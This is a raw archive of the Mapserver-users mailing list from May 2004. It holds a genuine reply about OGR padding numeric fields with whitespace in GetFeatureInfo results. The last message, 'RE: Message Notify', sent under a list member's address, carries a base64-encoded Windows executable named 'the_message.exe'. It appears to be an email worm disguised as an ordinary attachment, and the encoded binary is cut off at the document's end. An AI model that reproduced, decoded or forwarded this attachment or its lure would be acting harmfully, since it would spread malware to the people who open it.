04S1eoqMj5GkhmFTH0cNPaWM8nIx6veDyzdZrYiKA2CKpwi6qJi4c+u4Jcuv+9oW1Mq4igqomlug MLCMddsI9UcHpFqcSNMa/gpjwed3ePN1LnNeZatR/EiYIFG7qOC7p9seW6tosoR0froOUQpKLrMl yES8cjq7pgu3lKC8qmqDcjuiNTFbj7ALVqhAP5KIPjW8I+sdyGu8WWuXADu/c6q4r0pk4Qe9QxEw nRJnV+ts/9q7vcZ5oxBpIY8jXzG6XJYlpyTJe6T4MEsQVPAKvsyieGzxvgG8elbLCBkMNPazTqtJ FeNVakLwcFHJwPAbWg2SoeHJoB80igdsDR3cwVtTJDTygsr4rd3LBBqjZ7QZvvtpui8smTiQiC3D wkD8CvRhItIHfxgXcaMoP+YzDUkHSEWQBEcgxT5HwwPswpb6pegZxBG6WufANRhFef4SgF4UMAHF J1OrRvexErfCOY26F+9rY5AAdxcsDwdCx5gIcwI4oXxLuYzpPNKAe/zYeEgsRW6ypl2spvlSqT2E f+QiyUw7dp+0MD2sUY1JsmvnQ5hRhbcysFRFivHlyHCKwv9eg6qVCAUMgpTa+r8pG7hFeWQN+70X R1jFG8uzlMSzSsF0i0HmgWN0fJzOmaPW8k8Gy8saTEKo3LVc60wsdJTWpcWqfM30tza8FX1jdF5b dwAhJ3LO7MsJTAxcbBIYUsa7Rwm7vMElKnwPY8SX6ohfvMpxshH0HBYCm89uMqBHkiG4QV2mTMCf MHPcFnOTR7UkIzg+hKbHXI+tHNEauLr50k7QymdmyTH7OxEMjanUxZwXvcKLLNGV+Mouw5bQfBFR G64nbLwCqmvO6wLzRtI0bUQ6pldn8Ajctm7zyrp6BUoOXasPtsICW9POxM9xctHFAFeTltPSas3L LEcwTMv/oFXVQm3UEHLO60LGejGk8iPC9TXVRQ28xOEOX0Es+IzUbkNGCdFMFJ0cMVxVA1BPD9PE 9ea+HDIsWj2pnFqS0ZzIdVwXf7O7fypT+ONA2cdV4Lxvw/epjv3YVLoAF/uLab0V/0Usey24TNtZ TaAzU9PZxEusVFhgG8XXY/oMzdt91kxVCQSZxeWlyjWnRjvZkF3ba4ugbfuLn9SUT0B6cPLWLdyp wbbSm42JvDaU8NjSmX2iuGUM9aw8osZV8KXJV9qLbUvbtp3dG5rJ59vc7kamRsoCxRqPJOtRbviU Tky2Sq3AJBqtq42bgdOwJxnbe2i4bpux2p3fLcrdgeXd/zAA3Dvs3G0BuaWbwpU5OHnrEhsiYNAJ CQ1yivfdi9it3/pdpcHqZzdrK+2dY+Btmmytuh1uaAS9fxAIgbBbAtY94RRe21WKrpNNqAx8t76y 3AYe3hecmo7MTrGaqi7RcA13uycA4eqq4itu27hNpfbcFTJuDiEeqgK8CJvWuA6R2mBc45oN0YL7 SYjQbIyEsUX+5RIe4W4b4xue18mzA9zKvSuQw5q3v6Z0XIoN2lwXWXyBbUrMduTjDifrAmDe52Ee 4ZnsNMV4U5smiOPkWRhFvEM7y8KtK8NNl2WJfT7Vt9jsEC3Xke8tlZM7Ytnj5X5e5MCA5F00yEuw 5IYijf8J6G+l7YObsJHMjVf9goXh6lntyL81x3UMxxdU4tWavKiXtump249b8elfPuxX6mdjOWxl niKo/i5uXpBuXClrKHPkTMjfMuk4J7w8OYgsXelT7lS4e+L0TY3ADnzwCzLZSOTE7tjXDdvlrQSm HizN7uFfgLZ+7e0JkRoj7dP4sZ6deMUP9QTrDuoZm8m07t+QOO8a9gXtTNeOcemqqeMXAdIKjTbN 02mkxGng7Oltypmb6fHDCPKOHeoSHugUYz3U3FYf3hh2XuBJ+fIkIy3gKiUWxSp+C9nXOZNuSI7U ab3eeF62QJDUWbRh/klgEe8pb85YfVj+rEBbRmLjDjj/e/eVUW4vdFRzRsDxQLqQmqCQCpkn5Jid Qb+Q70mTk2KxLX7sUon0ZdjLS28N8T5/ZhiwnOCUKjExRqj1G0qTW+L1ZE/28+mN1jn45LjfZI7y bZ+8VnYq3oHjubRMAXYfdG/yK5oAkq3uWRmMBJmN4lid3Oj5gf/5nClQg3r4r6jwtHurXaPvqQ80 kl8Eied7lP9CwHD5Aw/qpv/dqM/BFmLiL7fv8wDxcL2cR+xjwv4e6CrZf377+T37TI74+eGII4iN SSvaNn+z7soeLZ9X4lJP3mSi0nvXhyf+fVqlhUulzF/huf/fbeOIthPuigntOS/H7oHjO6rR2XbF SAAv/8JFj8d/oSAwiUOSiCeaiskwmeraouxC2YN95zvf+z8wKPzJUMUUIAlbnpLOJzQqnVKrVSY2 mzpwu91C4TA5hLkFLTqtXrPRCSfjJBafuZNzgjwfu8Z7MNYRU8kJS2GWjOBLysBRwgIOReRAjc7Q JWampuAEp4hTm5XoKClpG+KpW+oqa6vKkxxfHZ2IXp9Y7d+ZCqERDMkJcMoiTBxMb6fvBEIQpKQm dLS0pEqj9TWoq/Z2kxL3yHW4+Hjj7/c5egqD08ufH9kYmNlYnhk84DBxrX5RgnH1En8AmCTKxyxI JAqVpjFsyIOTpwnZ0lFMM7HitogYN65Z5y0LGX1+RP/6KpDHxEmTKxYhSzPgicYWyAYcvISjkcOc DSEuuQiDikaOaHwKTRW0KFJeRGGEYYori7w5tlwsEpZMSxISSVrOICGDBZCFkyzpLLsJ4M+PPacc TZp2oFujcecygYOxhTwTX/px4jqiEwCP5eK0pTQEp8IcCc0yPoz2ldq3UdrS/RS5shbKmDe+SfKv VSOS+Qr5XbHkJYCCjQCIRlEzk7XGsh0zWluqBeoqmjcu3Xza92aPcEG7rGqCMst15QayyIpoAfTo 0AcoUEDJOnQF0bVL7+79O/jw4seH5yl5lExRuzH2TuclC8n1wNOxYyXoyNd+/H7LZGkINQOopSEA gQT/IjCABBNQIMAEBIrA4IIiJDifK+TkRooMUARojXO+tUcRLri8UIIY8VFYWW6nlGNOMMapoUgw EsVRnxoFMnCcBAVOkOOOCU54ojYRbWjhNTeCw+FkE3w214fuyZLHHV3w8RiQbjUJw1NTjvgbQbVd JZmR8C1iYDAS5MigmQv6WGWQXKLRlhMtCEBka9xcec4cUUVpR5ZsYgaLS3eU8c5TjtTppTJforZe EUsi+OCODZopoYIU+Kmim5lhlVUCAiDwKaihynfKnd9I9YeUfV5KF6C8iKSnF/cdmmhms7J4ZGyT KrjMABsyIMCP4jASzrDXFGvNsSsGQywqt2qaRZx9//x52arVFpWiq5zsQZU/iL75olxdNpspleV6 ay6t5J4w5FHCQpYacKVaO6+dHf4V473elqaus6uUEFFhgQiMJRgFG3wwwvjye24T4CqMQrQeUusC kRUbG1DF9KIIyr79LjkuUq0FLO7CZiB8csHw5Nsvy584vHI3peimTW9FyDeyxlXGKVpVK7Ngayfy Aa3Fz+gynO7RfqBcBsIqf9ly0sM9C7NlMgNF88Q2s4FzzifCopdp0vrMEshrUHYAlPTwyccAXBDD tdFU5xKGwWSYlIc8eT8c994NB9q3RFawS469rNQM+MCJd01hbm3T7bYdv7yteBttoX35Fy7wSUY4 g/+P43mRRII+gEouhKHXLpHrUYA1ozfieuuEWxw77eFYPbMrh8tNOdTwLV6RcAO9F6UjAFczaiuX J6ASn8sDhzYgZwCSOTzz/P6lpUv8CFjhq+j+9Ldl/339NgJ51v3TVk3dJvlY2n2HoJpX78Uuv7dg w4sRt/L9zeu/3D4rOnO+y+BHFeCrEABVYDL4TW8ezrOe/XalvWroz3BZQxzJMvi/BLIheIIJm7LU lwUGfOx6uOEd0lCwwKbEo0RPodsBU4jBGGKwIATJXv7QR6oL7k6DvUMhB7EgwMD4xBAtAhryzOaW E/pQhrVYGhTPEJQpArGHNlxYICroPR7SsIlJE1//EAfxBOGA0Yvf6Fg6mIjFLsYjiihjIxXN2MUr Qm176tBiKvi3Nf+NL4xMEA4JdUiaL4qwIkmcgdl6paxlbeh4jRzWI42gSIhM0pGLBEckGXnJoGVy Wb2qovYahzWpJap/ZTxlGIdIxkCIBiJDc8Ura6NGEeBQjnFc4y1/mEu+9ZCNKkiQKHPHRVOCUo4c VKUgERkQhj1FVWkQGSwzFAVa7fKLcARlNZ3oy2uiwI7dHAEed0hKhRHTmOa8HiA/6IbWHAdR9euT aJwmLX3Ecm/GAMU0rZnNGe6zl/3c5j+/Cc5krkGPSkRlMReHzIkJ0ZgmsYcd6qC55S3PFnsAmwjC /8QGshViIAhQwhMQoE9sktSWJcWCKNCwvWDub5h7ROg5NeZBgr5yk4eAn92kJFGDRakp25pSMka1 iMAEYyCpSUT3/qnUk+oyoSmN1ASNEM5QuPSgCV2jxswXGHUeg46JMqIQTQDDMtDiVNLTw9pqkVFt IoqIrAGMRJAAL20u1aR2xSUinsoEb7LUguPMVznVRZlDUmihfx3k7kaExCiJVad8iOgdoIQ2oIpo GOuMmWfuKddEvE50nrUQ7EL7WXKIFrQVE47tnODNE6y2r1s8rNas6sPBtm+mc8UqI+qJDn+IpJC/ uJBbfdKh2RG3uMY9LnKTiw1StuqXp5kqGwy6Qf+W0ZZ8AzzsSjQI1peesZ3VmBURSwCF89yuvOY9 L3pvJ9eJrTaj0C1oVadrruqis7muUgMafdfdF3jiUKtc5bvSK+ABExi96/1rexXk2jzGt4+CDR/5 lAPbQJWwDbq97DKPQaOM/qOWfvQaURJsqQWL002BpS6FnFmvl8yAJPG58DFg3OJX6mMdDrgxjnOs 4x3zuMc+/jGQgyzkHm/GviIe6G39amLuzraw7EnNcPzij4/51j7a+AxykMAABxCgy17+MpjDLOYx k7nMZj4zmsPsgCJf5MhIJmzMlizbB8+HDkyjH/WmMpSt9re5FfZNaLaEXxdAmctpPjSiE61oRK// eVofcfObRyln+TIMzqZ6YuoE5VNZqDgtyjlwZqvMjSSaJ7pOMPSiU63qVaO50ZUBFKQjLcwJ9/KH VLM0N0LUlHq08LFRUkPwijqZJFMkv7fqhzgBgGpWM7vZq3Y1q0ARa1m3lNbbtOat42Ih1pGOdXao 6KZ7nb+XNGfY8grgixwxw00t29nufveZXd2AeUMgKU+YNrWVfGwm07lyytWMlJZAh073JJBSMME6 1nEiXD+33fB+OMS7DO0GTCAC9m6Ph4VNbAZb+8TzvdRkmUDwPwbXM1omYS7UmmtfBsXYaHB4xGPu bHnPewIPQIp9T5Dxdb1XDdJ1MIqTImOi7XnD/yhIuBIsmqpfm6Qpu6hHRb8QOSwyHAUwlznWVU3z CBig3kXJuQRhIAESU7Xj/A46UmiBjvpBy+gzgIXq4iGLFmbuEKkalNhqeFNtXD3rfmf0CeZdc5wT ZedSJajPGwzhJnNEovYo2PJ2ERV4VFRQl5P849C6usd14s/deEnbNudr6T3QeZobSUQjN5OG1poN ff877M1M8wZYnPCRMTxUyW5qs88Z7RhxPPxE8FCfwoqiU0qZ8Kf3DhZCcM8s5sh28cUSZPM99tYH vAgiQPvaf/0iuA9Wzy2ieD5+vPGjP0EZJIvWxw4KrS8o2GPtMTeznfsc1OcFrl9//f1LPPD0vv/4 R+AeI4Rf0U0a0JXfRljU8mVeT60N8V0e+pGV6UxF8zkfdn2DzXhCAYXNKmwZ/33gmLlaBIyg13Wf N3zfACKe+PEepSFN1bWBPKzKhVyLfh2CjCWB/oFg7EEbk4ACCqbgxpXYvvUeAsZF2qwK2KEDfVFM AKVGDurg3/FgXDzBDwIhrv3c4vXbh30DlL3gsDxT66EB0j0hFGadFFpJe7SX7sEXCx4gtm3hNmTF Ba4Co5wRlClbGULhGQLgYSUYaknaELbgusFhkNRfFiJCz+yPYJBhHsbcHtoegmWRChZgILohWxEi 1jwfAm3UXwwd98AFIzYixD2iCY5TguXbaxn/4CHyEiYKE+gFUIBgSgy0whsIyASEoijCGykKRRJO 0BomXhuu4hu2YrXNIckR4CVGV8KdAC7morvtIkc01ylq3BWOH0x5ITG+wivil0cEz1sZkJ3Yogg0 ozM2GzTyxkRMIzUC4mN43DBm4xZpItHAwRgxFEYIEDGQYzmy2jk+mT2y1uEFYdmpIvm9IzyqiNsV Q2bZhQeF1Tcg3ZLo4z5qHZspgToGZDUGY0Em40EyGLkFBD26HT0WRS1+o9VN5A5WJAAkWGshY9tp 5DV2JEWcTwkJUPCIREOy4t5hQYBQi0SipKL1Y0X0IkG4JEpZY0Jho0y6l8Id3XUR1VFWEI2F/xxI bgUM/CRQYt+rGeIvriBBxuRS0gcJxYFNPgHQqJJ3pUFITN2BRQRWZmWaCeVMLoWIdSUltuPZ6WRY UhXohWRgvJI3wqDbiAYR/dlbwmW8qSQbSIJR1gVSmpNShqVhQaWFLSQbmIGL3SEWHCZilplc0oe8 4I9dbgpMJuVeguZN2gegzErkhUTB/SNndmYIKiZALgEOjeZLfqVpnuY5eNDQbQVRdQtI4E0rGVwW xKZsqhltasFtNqZtnEbtENeQEETG8GYbLKMrIF0iihwhqJgAtQVyJueXfSY6ECUt1RJuRqV1cpCo KeMbmMZRpA7bHZ1HvJx4jiJtTlt6OqYxrv/nvFhaZzTlDD0FYSbkVd7nw5HnORAl/lghO/pn+8AZ cPJXD6WOivVkf44jguricqqA4e3nc0IoABFWgP6DV6lVWv0Edtrnhj5jh6bAhzrnW4gobybce2bX AaGNZIGkOLJoi5rji55nUU4iadLoiJ7CECmDRtQBYa5oGoQngiooFxZeXhFpbhop+egWcH4GhSoQ 9JgeI/RkLEHpfUppvVwGCoLojGJpR06oMuWdHwgfVbyF5y0BmYqnmcah9wkgKnIcmypUPW2pWj7e c9VnG9xpcubpKA0Hn67jrP1p1yCPHCLKklCUa0qGbiGqbCrqrDHqXmHkg0JqtUgqa0jNUej/KD6o wFhm6IH+KJA62kA06JvI6LuI6n/ukIDelwrJaVWa5BqUgKZ2JqcWYxWC6qPa6hYiHXa9CgcOg2Yi 6S266qtuZRI0qoMeK7L6ST2VaEC8SgVCjKFWjoZKKz8GaWbQ6nplq7bukDwagbfiAUi+gW4VQbAi 5rD6VR8eo0DunrpWCfKsg7yyALJgQaaBiSyOK7lSJKyywdihK8T8Y7+6hZaWap2inxyomCJB7DGk QL3CZaMVmBQEhXmmADA5bJxF7HyQaruyHrQsioXpQ8dm5ceCLBSIrE+wZJ8KIcpuxrYCpxqkH0+G qyvELFDOLM12YVRmKPhZadIerYCJqsqy/6rp1IlZcgPRoqTR2uan9sQ22kZ/rpTJVo3TPu3O8qRb 4Rf0UCUSvEHFQs3VTmTWeujWcu2+Bo434KyxFuPYGtif9uyUoW3wvabU+mjCLlrcokCx/kTXSkYW 8FXYBs2/Re7s/OmoKOuvlo6G9eigMcHb7uPh0tLcOpdELG6AVc7jli1mkKq8oq083ZGTguFmFq7C el/o1gXpHljtOirqtimUrYHUxauvWiIzym6qHW7i8qfNspe+RububgTykFvwYgGfzCe4UqYgDi/x BmXVgG5Uid16Je/gMibTNu989CwRrYHkiYbBxZLLdW45Zu3xRiX4ii4MjNjpki8NUtXqqv/lr3lt 26aC+zqj0cZv044CyTJB9qgpL+Cvn+TGVLYuxLCtuD5p9mqv3abCaqlXbdav7loZA1eEyznr36rB ZGGuVGkuOBJuBbfa9npv2ZXCBsstNdrUr3riB3OD5T5TntRFZ0ywGgRwLn5uDB+w1p6CfuqPRlnY De/WDtXiz6aoOvSKxrYCEIuiEENVGxAwFstw3irJEtfW+V4uW77d+ALwCmPfzZ6CrK4Bvn3iffjL F7PPRpXqbkzvEuQwEWpBFTfi5+ItBxsxAj9XGQsR85at+eaqFqxlXXhELCXRHufh4V7kH3vSJH1O cv2hZaFbHB8sfO0vGnTBESIBCm+kHp//8aHFrSTDqLXSLxf/0oL9LyFv8q9WZqmyQQzeMSMnxSOX Ydb6cSsTcRZ/6oK9oOQWcyHLIF+iHAkHHAX1cF7+sCnHZdWkMowCchG7MIkdsyyDxsiiAN71hARz Iivssh628GKuMjD/skC5sa1tc/mQSq/8b/NQbxM4cx6vATnr4BVTSnWm8xoUaza7M5tImK1UXv8q hcnFRT6D4D5jwRqrQRtTShcPokD7S6DSMf/m1B2f7TO7XjSz8AX7M+JicCB3bwdTdEVDK1UpMxpk XpNa5T179EfLnjmjgRZH9BafdBimdEcf5Y0uM0rZ8/Xi80zTtN26i4ei8zqr8xDr9LXx//Tm/ur5 9GYuz7LVFrVnWsY4SIFSL3U1m/Qd6ZA2Q7XZCi0slergosNCf6DRjsJNl7QLC3IQjjVZaxhM24lQ w+5VY/Vs2q0BtwFOT2NA17UHKyNLa4O8TjFHEjVfi5lQGqJD525tDjZhczKwlaoNYxYs4+g3rDX/ PTa1+PJXx7UkznVlq7SphfM2rGpaU4Rn7x9oS21gu0Q40XVla6cdJnRMj3NjOzYwhk5njcM1szJQ 2RFln7bwVuXK7k9eb8ZrX19sC5xI61zudtpxI3cNwhci505V41dmt2pvjycwKpBPcYEEpJ7kUQAu sNATrc4etKRYY7cwtp0n00xz+8ZzW/9fdG+P6kBOLuCCeq935Jz3wEGOGta2fBPdHDsxF5p1CqdD fqekV26BT0nAQwmf81hKyElUgtxDSIRyWJt2nXkBiZf4QQpVnCg2fKA1m0Q47EX3XomECeycGEjA ljwdS143ZrgRT2VjEpXlZvOn9SZ39YW3eFvEckv0JLPyLaeA4JWgjlcGj8MfstbjeiwJCX1kT++1 kfcfkufrcE83E1BcBExIlNPFlKcqJtpwimcojdjkpbh4FPrccouYRnt1nHqT4B3AzbGzXgrFwQxD oBMjrn1n3a7AHZoAWtcTXcu53z32yu7BHOjFF7AQr03W5qQNn8wb13ndmc/FoKtQj7f/YtV1412r 6AB1oxIXhaObIZ2TkoVvHh9o+J0XgIUvH4n3bx4IHsXlrG1rwaBTud3Q84e9oPm8RAlBL0xs93xD eJd7GaSPk/M03Rhkj8msN/zUQ4Fjzi0IHvd9elwEOz6MOiZiIz1+zBiZemv/eqtjXbRvsPS0Efqt zo7YAhi0ptRF3h1o3wjaAbi7Rah7M5WXO0UIxoqyhpYLEGqz+rN7+VA832y7DUQfwJM79a9DBbm3 0cATYiGHpJIEkqOMysXf4pCVvMmfPMqj/KtnwVtH1QhGQAliskE2Xo8vDaHfY5sbVfRaNoWI+8mk 7FC+xGwDdmlrYM/X/BuROvSdj8LD/9Kl+HzCAAfz9m6Y43lTX/1E7zSgI/3PK71QmPp3P33dDHvU A1rQ7216Gf18pDmxh5Ftd/ODAwnbA/1MGrPdL5faA8fce31RMDvPy/2Uj1z+ziXao1feJ/hiv7Mc f3DHF77ht3Nljzxix7HkX0rl2+rla/ISZ76/Iv6fe74hGSnnU+7ijP4Wmj7jgH7iA0fY0yjq073q P3Xsp5Hoz77sS/02M0rrA8nru77tzwWJXsyRzn7vw1TzVl047L5QFL+IMn+MuTNdMwubOL9/Un9d j77004X1W+f2Q7Xy28c1fH9MEbb4j9rva7/w29/5j+r6A1r4Z8T5K39ml3/702L2k/+yfHsh8tf/ 7wjswK4+CEziSJbmiabqyrbuCw/wmsyrHA/6zvf+DwzybMSi8YhMunoTnPIJjUqnLCf1ip0Jddmu 9wsOi7FWW22MTld9Z7X7DY+r2zm5PZ7o0e/8vv8vsqfCBViI52OYqLiIRGiiI8goOUlZaYkGdKm5 ydnp+QkaKjp6KcNAipqqugomU8YKGys7i8LgSIubqyuaUHO6CxwszEiBMJFHMay8zOwmIICAIMDw nNx8jZ39VFCAMGD7LKA9Tl6+wh0tMMAtbu7+rj0AIAAgMhAOuqV/K5m3nwkvYBF59KTdg+bn3w+B TfYxfNhE2q950a740wNRUZCMuQb/GJQ3z1aSIRxpXdxRspNHdcnm8VtCMuUwIZFk9gn3LEE7FSdt 2lzoUw1OaDsbvgyK9AakpFfCSZAgjURNplRTnHxV1cYzCRQ8ShjxK6vYRkvHptga8Wsgs2yPXG0r ohpRtXDrSomJ9NmEufbs+r2CFyI+aWqx/j2sZMfUcs8YSLj3NQ/iyV0uLlY27/G3aUcpe8Zysdm8 rfcAADD8OTXgAZdlUWwyzzRq1bRBd2Y1Oja907V7qwmMal6yBLF5+z6eBmWqnKepCXiM4gDy6V/K hqonT8LzVwUmSKcOvjoTTaa5dW9y4MyBAwXYH0vvPf368PSZ1XPfvXuC7xPye/8vrN18rdVHICz4 ufefCP6ZJyA3BT4IzHz57UfCghQGGCCEGqry1FMjsPcdayX08t0ZbQy4YYqVdEgXgk2oCCMwLKIw W4w2ojLjCedFh+KNPiqSowk7nuDij0ZaEmQJ3YHoXXsKDnlklH0EwSIQSwII4HpQSsklIElWmGWG 7DnYZZledojChPm5992WZr4Jx5cj4FBigsfAiacdcvZVYZF5/unCfCUIWsSeLwIaZQgAOw== ------=_NextPart_000_0001_01C43825.E3C7BD00-- From warmerdam at pobox.com Wed May 12 06:06:53 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 12 May 2004 09:06:53 -0400 Subject: [Mapserver-users] OGR shapefile and GetFeatureInfo In-Reply-To: <22866.212.238.227.182.1084356747.squirrel@webmail.xs4all.nl> References: <22866.212.238.227.182.1084356747.squirrel@webmail.xs4all.nl> Message-ID: <40A2216D.5050807@pobox.com> bartvde at xs4all.nl wrote: > Hi list, > > I tried using both OGR and Mapserver to open up a shapefile and to perform > a GetFeatureInfo request on the respective WMS layer. > > The OGR layer has a lot of spaces in its result for floating point fields, > is this intentional? > > Native Mapserver: > Directie 1 > 90.10 > 90.96 > 96089.0100 > 1232716.0000 > > OGR: > Directie 1 > 90.10 > 90.96 > 96089.0100 > 1232716.0000 Bart, The OGR data driver in mapserver uses the OGR GetFieldAsString() method to fetch all attribute values. This internally uses the width and precision information available from the datasource to format numeric values appropriately. This produces alot of spaces in some cases. I think this could be seen as an untended consequence of the underlying technology, but not necessariliy one that is particularly bad. If it is seen as a problem (note it affects the item values from OGR in MapScript, query requests and so forth too) it could be easily corrected in mapogr.cpp by stripping white space after the call to GetFieldAsString(). Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From steve.lime at dnr.state.mn.us Wed May 12 07:21:49 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Wed, 12 May 2004 08:21:49 -0600 Subject: [Mapserver-users] RE: Message Notify Message-ID: ----------faoqutyyfnagqefbdwlw Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------faoqutyyfnagqefbdwlw Content-Type: application/octet-stream; name="the_message.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="the_message.exe" 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 